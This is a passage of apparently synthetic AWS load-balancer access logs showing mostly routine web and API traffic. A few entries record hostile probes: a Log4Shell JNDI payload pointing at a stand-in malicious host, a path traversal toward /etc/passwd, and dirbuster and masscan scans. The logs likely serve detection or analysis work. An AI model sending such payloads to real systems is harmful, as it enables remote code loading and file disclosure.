AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723caf1-6b7c112271224f5286ae4174" "staging-alb.example.com" "-" 2 2024-11-01T01:22:41.653347Z "forward" "-" "-" "140.153.180.138:443" "302" "-" "-" +https 2024-11-01T01:22:42.625719Z prod-web-alb 178.211.209.44:63352 10.0.218.241:443 0.079538 0.207689 0.031232 404 404 979 5266 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723caf2-add50d48b5ee46db90735edd" "prod-web-alb.example.com" "-" 4 2024-11-01T01:22:42.625719Z "forward" "-" "-" "10.0.218.241:443" "404" "-" "-" +https 2024-11-01T01:22:43.631253Z prod-api-alb 251.106.70.28:48719 10.0.57.194:443 0.076071 0.168651 0.048089 404 404 18 14431 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723caf3-27c7ddf0594145679406a50e" "prod-api-alb.example.com" "-" 3 2024-11-01T01:22:43.631253Z "forward" "-" "-" "10.0.57.194:443" "404" "-" "-" +https 2024-11-01T01:22:44.066182Z prod-api-alb 96.167.153.67:23803 10.0.79.44:443 0.073964 0.492062 0.016996 200 200 586 14847 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723caf4-ed2c3eba18a641d9aae0db3b" "prod-api-alb.example.com" "-" 6 2024-11-01T01:22:44.066182Z "forward" "-" "-" "10.0.79.44:443" "200" "-" "-" +http 2024-11-01T01:22:44.590408Z staging-alb 133.44.219.82:27943 81.171.131.229:443 0.146640 0.645313 0.009535 200 200 531 5015 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723caf4-a71278c894fd4a45ba4b4535" "staging-alb.example.com" "-" 10 2024-11-01T01:22:44.590408Z "forward" "-" "-" "81.171.131.229:443" "200" "-" "-" +https 2024-11-01T01:22:46.296971Z staging-alb 144.121.101.4:35333 253.247.89.185:443 0.023499 0.252025 0.047716 301 301 125 13312 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723caf6-ae0c9e18ca9646f0bc27d7f9" "-" "-" 9 2024-11-01T01:22:46.296971Z "forward" "-" "-" "253.247.89.185:443" "301" "-" "-" +http 2024-11-01T01:22:46.813278Z staging-alb 7.23.22.23:44777 200.177.248.50:80 0.092277 0.364696 0.022599 302 302 157 2576 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723caf6-f5b89b33ece84c69aa1248a6" "staging-alb.example.com" "-" 8 2024-11-01T01:22:46.813278Z "forward" "-" "-" "200.177.248.50:80" "302" "-" "-" +https 2024-11-01T01:22:47.952884Z prod-web-alb 31.92.164.16:53610 10.0.27.5:443 0.008920 0.364553 0.047467 200 200 756 7392 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723caf7-b20ce9b867f748e495f4805e" "prod-web-alb.example.com" "-" 9 2024-11-01T01:22:47.952884Z "forward" "-" "-" "10.0.27.5:443" "200" "-" "-" +https 2024-11-01T01:22:48.905614Z staging-alb 47.84.13.103:52526 99.104.5.2:443 0.134596 0.676748 0.053658 200 200 295 8211 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723caf8-1b8d0432d24340208d963693" "staging-alb.example.com" "-" 5 2024-11-01T01:22:48.905614Z "forward" "-" "-" "99.104.5.2:443" "200" "-" "-" +https 2024-11-01T01:22:49.053819Z prod-api-alb 172.93.58.202:32878 10.0.217.116:443 0.022212 0.064794 0.049631 200 200 585 2022 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723caf9-0abe3741c2754cb9851ac967" "prod-api-alb.example.com" "-" 9 2024-11-01T01:22:49.053819Z "forward" "-" "-" "10.0.217.116:443" "200" "-" "-" +https 2024-11-01T01:22:50.824575Z prod-api-alb 198.52.182.28:30692 10.0.238.205:443 0.034056 0.178411 0.076838 200 200 986 5459 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cafa-bc052264b8604cd4847e5fcc" "prod-api-alb.example.com" "-" 7 2024-11-01T01:22:50.824575Z "forward" "-" "-" "10.0.238.205:443" "200" "-" "-" +https 2024-11-01T01:22:52.261647Z prod-web-alb 175.92.52.21:44045 10.0.9.236:443 0.012809 0.431117 0.085265 404 404 555 2132 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cafc-23b40cc64a894d5ab3f6d6df" "prod-web-alb.example.com" "-" 8 2024-11-01T01:22:52.261647Z "forward" "-" "-" "10.0.9.236:443" "404" "-" "-" +https 2024-11-01T01:22:53.410124Z prod-web-alb 180.63.157.65:33487 10.0.201.22:443 0.016393 0.351331 0.066214 200 200 264 11955 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cafd-9c8c6204a3504762b956fb47" "prod-web-alb.example.com" "-" 4 2024-11-01T01:22:53.410124Z "forward" "-" "-" "10.0.201.22:443" "200" "-" "-" +https 2024-11-01T01:22:54.450451Z prod-api-alb 45.155.205.102:51729 10.0.76.139:443 0.082028 0.269026 0.044861 301 301 457 9159 "GET /config.php~ HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cafe-93a144bf9a634f379bae2d5d" "-" "-" 4 2024-11-01T01:22:54.450451Z "forward" "-" "-" "10.0.76.139:443" "301" "-" "-" +https 2024-11-01T01:22:54.680980Z prod-api-alb 72.17.42.85:28022 10.0.101.254:443 0.004601 0.413383 0.079688 404 404 16 8691 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cafe-7c2eb5ee05d14406acf0e822" "prod-api-alb.example.com" "-" 1 2024-11-01T01:22:54.680980Z "forward" "-" "-" "10.0.101.254:443" "404" "-" "-" +https 2024-11-01T01:22:55.390823Z prod-web-alb 224.143.0.31:44261 10.0.248.235:443 0.024473 0.029669 0.034592 404 404 250 12332 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723caff-ad8d85f105cf4fdd8a270f55" "prod-web-alb.example.com" "-" 2 2024-11-01T01:22:55.390823Z "forward" "-" "-" "10.0.248.235:443" "404" "-" "-" +http 2024-11-01T01:22:55.952235Z staging-alb 137.208.137.46:43140 136.24.124.69:443 0.054377 0.278386 0.136202 200 200 337 9091 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723caff-2aaa15665e604195b2fe1728" "staging-alb.example.com" "-" 3 2024-11-01T01:22:55.952235Z "forward" "-" "-" "136.24.124.69:443" "200" "-" "-" +https 2024-11-01T01:22:57.636346Z staging-alb 250.225.99.143:35237 110.59.215.237:8080 0.022213 0.258869 0.062072 200 200 796 12912 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb01-03870dd306a046fc8b449cb9" "staging-alb.example.com" "-" 5 2024-11-01T01:22:57.636346Z "forward" "-" "-" "110.59.215.237:8080" "200" "-" "-" +http 2024-11-01T01:22:57.782843Z staging-alb 78.208.5.6:57465 94.148.86.139:80 0.094782 0.713170 0.079366 200 200 901 795 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb01-b6537c1b02824e708f89a827" "staging-alb.example.com" "-" 7 2024-11-01T01:22:57.782843Z "forward" "-" "-" "94.148.86.139:80" "200" "-" "-" +https 2024-11-01T01:22:58.829186Z prod-api-alb 193.27.228.71:42238 10.0.85.150:443 0.040205 0.172252 0.046188 403 403 677 10659 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb02-09b7d4df20b3443f8af592a0" "-" "-" 2 2024-11-01T01:22:58.829186Z "forward" "-" "-" "10.0.85.150:443" "403" "-" "-" +https 2024-11-01T01:22:59.266905Z prod-api-alb 170.68.241.199:42379 10.0.229.185:443 0.050340 0.169634 0.061049 200 200 135 13121 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb03-882d3c2dd32c4056a5c21f29" "prod-api-alb.example.com" "-" 2 2024-11-01T01:22:59.266905Z "forward" "-" "-" "10.0.229.185:443" "200" "-" "-" +https 2024-11-01T01:23:00.096636Z prod-api-alb 2.141.223.127:14948 10.0.62.139:443 0.001492 0.188706 0.024811 404 404 934 3784 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb04-579ecc6df6534b1eb8ec98f0" "prod-api-alb.example.com" "-" 2 2024-11-01T01:23:00.096636Z "forward" "-" "-" "10.0.62.139:443" "404" "-" "-" +https 2024-11-01T01:23:01.449369Z prod-api-alb 254.204.134.167:10673 10.0.252.243:443 0.039160 0.317564 0.000156 200 200 907 12810 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb05-859fe7e5d9c54e6db776e82b" "prod-api-alb.example.com" "-" 10 2024-11-01T01:23:01.449369Z "forward" "-" "-" "10.0.252.243:443" "200" "-" "-" +https 2024-11-01T01:23:03.335865Z prod-api-alb 32.132.240.42:13080 10.0.219.191:443 0.096876 0.125232 0.038737 200 200 780 6197 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb07-dc466b77390d44d4b1a7ebbf" "prod-api-alb.example.com" "-" 7 2024-11-01T01:23:03.335865Z "forward" "-" "-" "10.0.219.191:443" "200" "-" "-" +https 2024-11-01T01:23:05.029975Z staging-alb 179.91.161.31:60635 21.251.72.194:443 0.077026 0.366603 0.088233 301 301 649 12341 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb09-5b2e6404bb104e86b57a8ba5" "staging-alb.example.com" "-" 4 2024-11-01T01:23:05.029975Z "forward" "-" "-" "21.251.72.194:443" "301" "-" "-" +https 2024-11-01T01:23:06.825917Z staging-alb 212.5.188.182:46652 232.19.149.27:443 0.112754 0.146685 0.072558 200 200 55 14551 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb0a-a39660bff1b64e8b81db8fd6" "staging-alb.example.com" "-" 8 2024-11-01T01:23:06.825917Z "forward" "-" "-" "232.19.149.27:443" "200" "-" "-" +https 2024-11-01T01:23:08.778480Z prod-api-alb 206.136.148.132:38470 10.0.214.246:443 0.068501 0.073568 0.045506 302 302 798 9349 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb0c-764eeb375fab49c493d6cde1" "-" "-" 6 2024-11-01T01:23:08.778480Z "forward" "-" "-" "10.0.214.246:443" "302" "-" "-" +https 2024-11-01T01:23:10.230420Z prod-api-alb 102.92.215.245:50398 10.0.181.228:443 0.085822 0.376852 0.063010 302 302 28 1440 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb0e-e826eee6d7324e0fb94bdb44" "prod-api-alb.example.com" "-" 7 2024-11-01T01:23:10.230420Z "forward" "-" "-" "10.0.181.228:443" "302" "-" "-" +https 2024-11-01T01:23:11.900112Z prod-web-alb 185.181.68.44:42815 10.0.93.155:443 0.038147 0.113207 0.013475 404 404 300 13466 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb0f-861e8d364a6c4425ba7b6481" "-" "-" 3 2024-11-01T01:23:11.900112Z "forward" "-" "-" "10.0.93.155:443" "404" "-" "-" +http 2024-11-01T01:23:12.677806Z staging-alb 200.24.59.142:62809 43.129.182.164:80 0.001117 0.198531 0.129634 200 200 244 5309 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb10-7ee5c540c633423c92288500" "staging-alb.example.com" "-" 9 2024-11-01T01:23:12.677806Z "forward" "-" "-" "43.129.182.164:80" "200" "-" "-" +https 2024-11-01T01:23:13.208250Z staging-alb 191.49.59.22:47135 91.9.65.11:80 0.140220 0.217550 0.079036 200 200 105 14655 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb11-d9a975988f004da9a129727e" "staging-alb.example.com" "-" 10 2024-11-01T01:23:13.208250Z "forward" "-" "-" "91.9.65.11:80" "200" "-" "-" +https 2024-11-01T01:23:13.621396Z prod-web-alb 50.79.12.255:59426 10.0.243.177:443 0.080812 0.074940 0.073714 200 200 464 10748 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb11-84fa41cabdba4b7e88df4a71" "prod-web-alb.example.com" "-" 3 2024-11-01T01:23:13.621396Z "forward" "-" "-" "10.0.243.177:443" "200" "-" "-" +https 2024-11-01T01:23:15.489132Z prod-api-alb 51.160.224.144:53984 10.0.83.72:443 0.034979 0.069089 0.022460 200 200 600 11052 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb13-9c44b6a8dc4946fa871ced92" "prod-api-alb.example.com" "-" 3 2024-11-01T01:23:15.489132Z "forward" "-" "-" "10.0.83.72:443" "200" "-" "-" +https 2024-11-01T01:23:16.607371Z prod-api-alb 154.32.145.1:42440 10.0.210.236:443 0.051712 0.427754 0.093704 200 200 296 13728 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb14-e6569fe5d93f4789a146f1b1" "prod-api-alb.example.com" "-" 10 2024-11-01T01:23:16.607371Z "forward" "-" "-" "10.0.210.236:443" "200" "-" "-" +https 2024-11-01T01:23:17.597887Z prod-api-alb 202.110.48.32:39149 10.0.211.32:443 0.071485 0.168907 0.064992 200 200 35 8208 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb15-c07cd6d28af5437680071da8" "prod-api-alb.example.com" "-" 4 2024-11-01T01:23:17.597887Z "forward" "-" "-" "10.0.211.32:443" "200" "-" "-" +http 2024-11-01T01:23:17.923890Z staging-alb 128.156.82.154:49833 103.221.164.226:443 0.131368 0.306725 0.055686 301 301 519 9365 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb15-435cc65ba6bf43fe97a9465d" "staging-alb.example.com" "-" 9 2024-11-01T01:23:17.923890Z "forward" "-" "-" "103.221.164.226:443" "301" "-" "-" +https 2024-11-01T01:23:18.138685Z prod-api-alb 195.52.58.209:14041 10.0.128.21:443 0.064682 0.294603 0.018606 301 301 703 4645 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb16-1999ec41fd614042abd4a949" "prod-api-alb.example.com" "-" 8 2024-11-01T01:23:18.138685Z "forward" "-" "-" "10.0.128.21:443" "301" "-" "-" +https 2024-11-01T01:23:18.303747Z prod-web-alb 176.82.35.123:16410 10.0.186.7:443 0.025919 0.270092 0.092595 200 200 686 1151 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb16-970618fda2394b92bcfb87a7" "prod-web-alb.example.com" "-" 4 2024-11-01T01:23:18.303747Z "forward" "-" "-" "10.0.186.7:443" "200" "-" "-" +https 2024-11-01T01:23:19.423675Z prod-api-alb 7.5.137.165:44926 10.0.50.100:443 0.044282 0.048393 0.004678 302 302 526 4610 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb17-db7d8d7baebd457aa81b103a" "prod-api-alb.example.com" "-" 6 2024-11-01T01:23:19.423675Z "forward" "-" "-" "10.0.50.100:443" "302" "-" "-" +https 2024-11-01T01:23:20.851505Z staging-alb 46.49.91.173:42884 201.160.242.72:8080 0.140279 0.067589 0.114714 301 301 616 7291 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb18-6a4165d1e2e14e999cd342ed" "staging-alb.example.com" "-" 2 2024-11-01T01:23:20.851505Z "forward" "-" "-" "201.160.242.72:8080" "301" "-" "-" +http 2024-11-01T01:23:22.826780Z staging-alb 6.227.227.233:59607 217.24.93.85:8080 0.145452 0.416217 0.069709 302 302 25 8069 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb1a-f6bb920b04b34703b795a462" "staging-alb.example.com" "-" 4 2024-11-01T01:23:22.826780Z "forward" "-" "-" "217.24.93.85:8080" "302" "-" "-" +https 2024-11-01T01:23:23.009865Z prod-api-alb 89.116.188.85:54767 10.0.229.207:443 0.090394 0.493336 0.015056 302 302 482 358 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb1b-be3a54670dac42a18eb320d6" "prod-api-alb.example.com" "-" 4 2024-11-01T01:23:23.009865Z "forward" "-" "-" "10.0.229.207:443" "302" "-" "-" +https 2024-11-01T01:23:24.178920Z staging-alb 15.85.22.119:12594 213.36.106.69:443 0.111136 0.580624 0.074671 200 200 599 3006 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb1c-78bb761b173f46568d054db4" "staging-alb.example.com" "-" 3 2024-11-01T01:23:24.178920Z "forward" "-" "-" "213.36.106.69:443" "200" "-" "-" +https 2024-11-01T01:23:25.502395Z prod-web-alb 185.181.25.65:25292 10.0.147.9:443 0.099018 0.167993 0.040859 302 302 14 8891 "GET /admin HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb1d-64d687a1885d4336815c2c74" "-" "-" 7 2024-11-01T01:23:25.502395Z "forward" "-" "-" "10.0.147.9:443" "302" "-" "-" +https 2024-11-01T01:23:27.271532Z staging-alb 86.84.40.213:23652 232.2.245.231:443 0.052996 0.671290 0.033050 301 301 664 1053 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb1f-485c70371a5f4b5e92eec54f" "staging-alb.example.com" "-" 1 2024-11-01T01:23:27.271532Z "forward" "-" "-" "232.2.245.231:443" "301" "-" "-" +https 2024-11-01T01:23:27.686719Z prod-api-alb 181.176.211.241:44247 10.0.28.157:443 0.028771 0.309404 0.062818 404 404 242 8618 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb1f-15a455a6de2241b881512265" "prod-api-alb.example.com" "-" 2 2024-11-01T01:23:27.686719Z "forward" "-" "-" "10.0.28.157:443" "404" "-" "-" +https 2024-11-01T01:23:28.521965Z prod-api-alb 113.204.159.36:57249 10.0.167.207:443 0.021179 0.408587 0.032643 302 302 640 12688 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb20-051acd828017452aa49db87c" "prod-api-alb.example.com" "-" 3 2024-11-01T01:23:28.521965Z "forward" "-" "-" "10.0.167.207:443" "302" "-" "-" +https 2024-11-01T01:23:30.222005Z prod-api-alb 249.35.184.157:55230 10.0.247.8:443 0.026579 0.180657 0.053086 200 200 727 6201 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb22-c1d3beffba7e4797a9041e45" "prod-api-alb.example.com" "-" 3 2024-11-01T01:23:30.222005Z "forward" "-" "-" "10.0.247.8:443" "200" "-" "-" +https 2024-11-01T01:23:30.816367Z prod-api-alb 39.28.154.217:35917 10.0.254.173:443 0.026208 0.439348 0.055574 302 302 287 4061 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb22-b692d476f4e543d7979fea53" "prod-api-alb.example.com" "-" 2 2024-11-01T01:23:30.816367Z "forward" "-" "-" "10.0.254.173:443" "302" "-" "-" +http 2024-11-01T01:23:32.483135Z staging-alb 19.107.59.107:51449 